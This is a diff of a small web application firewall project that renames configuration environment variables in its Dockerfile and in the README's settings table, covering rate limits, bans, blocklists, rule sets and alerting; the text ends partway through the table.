diff --git a/Dockerfile b/Dockerfile index 75827a7..d5f039b 100644 --- a/Dockerfile +++ b/Dockerfile @@ -226,7 +226,7 @@ RUN groupadd --system --gid 65532 sww \ # script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user. RUN mkdir /var/lib/sww -# The default rule file, in SWW_WAF_RULES_DIR by default, where a Dockerfile +# The default rule file, in SWW_WAF_RULE_FILES_DIR by default, where a Dockerfile # built FROM this image can copy rule files of its own beside it. COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules diff --git a/README.md b/README.md index b488122..7bbfa84 100644 --- a/README.md +++ b/README.md @@ -212,7 +212,7 @@ account, a key, a token or an alert destination stays off until you give one. setting takes it. - The byte limits and the byte anomaly thresholds count only body bytes: the app's response bodies, the visitors' request bodies, or both, as - `SWW_WAF_BYTES_COUNT` says. Headers are never counted. What the visitor sent + `SWW_WAF_BYTES_COUNTED` says. Headers are never counted. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. - An invalid setting stops the process at start with one log line naming the @@ -221,125 +221,125 @@ account, a key, a token or an alert destination stays off until you give one. Every setting the code reads, with its default: -| Variable | Default | What it does | -| -------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. | -| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. | -| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | -| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | -| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | -| `SWW_RPROXY_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. | -| `SWW_RPROXY_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | -| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | -| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. | -| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. | -| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | -| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. | -| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. | -| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | -| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | -| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | -| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. | -| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | -| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. | -| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. | -| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. | -| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. | -| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. | -| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. | -| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | -| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | -| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | -| `SWW_WAF_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. | -| `SWW_WAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. | -| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | -| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | -| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. | -| `SWW_WAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | -| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | -| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | -| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. | -| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | -| `SWW_WAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. | -| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | -| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | -| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. | -| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. | -| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. | -| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. | -| `SWW_WAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. | -| `SWW_WAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. | -| `SWW_WAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | -| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS:` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). | -| `SWW_WAF_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. | -| `SWW_WAF_RULES_ENABLED` | `true` | `false` reads no rule file. | -| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | -| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. | -| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | -| `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | -| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | -| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | -| `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | -| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | -| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. | -| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | -| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | -| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:` of every limit, or `log`. | -| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. | -| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. | -| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | -| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | -| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | -| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. | -| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. | -| `SWW_WAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:` or `log`. | -| `SWW_WAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | -| `SWW_WAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. | -| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. | -| `SWW_WAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | -| `SWW_WAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. | -| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. | -| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | -| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | -| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | -| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | -| `SWW_WAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | -| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | -| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | -| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | -| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. | -| `SWW_WAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | -| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | -| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer `. | -| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | -| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. | -| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. | -| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. | -| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. | -| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | -| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | -| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | -| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in a minute, a size. | -| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in an hour, a size. | -| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. | -| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | -| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. | -| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. | -| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. | -| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. | -| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | -| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | -| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. | -| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. | -| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | -| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | -| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. | -| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. | -| `SWW_WAF_WATCH_NETS` | empty | Named netblocks the `SWW_WAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | -| `SWW_WAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | -| `SWW_WAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | -| `SWW_WAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. | -| `SWW_WAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. | +| Variable | Default | What it does | +| ------------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. | +| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. | +| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | +| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | +| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | +| `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. | +| `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | +| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | +| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. | +| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. | +| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | +| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. | +| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. | +| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | +| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | +| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | +| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. | +| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | +| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. | +| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. | +| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. | +| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. | +| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. | +| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. | +| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | +| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | +| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | +| `SWW_WAF_BYTES_COUNTED` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. | +| `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. | +| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | +| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | +| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. | +| `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | +| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | +| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | +| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. | +| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | +| `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` | `800` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take, in milliseconds. | +| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | +| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | +| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. | +| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. | +| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. | +| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. | +| `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. | +| `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. | +| `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | +| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS:` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). | +| `SWW_WAF_RULE_FILES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. | +| `SWW_WAF_RULE_FILES_ENABLED` | `true` | `false` reads no rule file. | +| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | +| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. | +| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | +| `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | +| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | +| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | +| `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | +| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | +| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. | +| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | +| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | +| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:` of every limit, or `log`. | +| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. | +| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. | +| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | +| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | +| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | +| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. | +| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. | +| `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:` or `log`. | +| `SWW_WAF_IP_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | +| `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` | `2000` | How long a DNS blocklist query or an AbuseIPDB check may take, in milliseconds. | +| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. | +| `SWW_WAF_BANS_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | +| `SWW_WAF_STATE_WRITE_INTERVAL` | `15m` | How often every state and cache file is written. | +| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. | +| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | +| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | +| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | +| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | +| `SWW_WAF_LOG_REMOTE_BUFFER_LINES` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | +| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | +| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | +| 